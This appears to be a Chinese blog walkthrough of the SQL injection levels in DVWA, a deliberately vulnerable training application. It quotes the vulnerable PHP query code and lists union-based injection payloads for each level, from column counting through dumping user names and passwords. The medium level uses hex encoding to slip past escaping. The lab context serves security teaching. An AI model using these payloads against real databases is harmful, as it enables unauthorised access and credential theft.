dvwa之sql注入

dvwa的sql注入通关

英文:388词 | 中文:1636字

Posted by YY——阳阳 on November 17, 2020

Low级别

源码

$id = $_REQUEST[ 'id' ]
# 没有过滤就直接带入 SQL 语句中 使用单引号闭合
$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
while( $row = mysqli_fetch_assoc( $result ) ) {
        // 回显信息
        $first = $row["first_name"];
        $last  = $row["last_name"];
        $html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

payload流程

-1' order by 2# 测试列数
-1' union select 1,2# 测试回显位置
-1' union select 1,database()# 查看数据库名
-1' union select 1, table_name from information_schema.tables where table_schema='dvwa'# 查表
-1' union select 1,column_name from information_schema.columns where table_name='users'#查列
-1' union select 1,concat_ws('~',user,password) from users#查字段

medium

发现转变为post方式,使用burp抓包进行绕过 查看源代码之后发现使用了mysqli_real_escape_string()的php函数 把用户输入数据中的 NUL(ASCII 0)、\n、\r、\、’、” 和 Control-Z字符进行了转义 发现查询语句为SELECT first_name, last_name FROM users WHERE user_id = $id并不是一定需要’号 库名表名等也可以用十六进制绕过

payload
-1 order by 2# 测试列数
-1  union select 1,2# 测试回显位置
-1 union select 1,database()# 查看数据库名
-1 union select 1, table_name from information_schema.tables where table_schema=0x64767761# 查表
-1 union select 1,column_name from information_schema.columns where table_name=0x7573657273#查列
-1 union select user,password from users##查字段

high

查看源码,没发现有什么过滤,直接payload

-1' order by 2# 测试列数
-1' union select 1,2# 测试回显位置
-1' union select 1,database()# 查看数据库名
-1' union select 1, table_name from information_schema.tables where table_schema='dvwa'# 查表
-1' union select 1,column_name from information_schema.columns where table_name='users'#查列
-1' union select 1,concat_ws('~',user,password) from users#查字段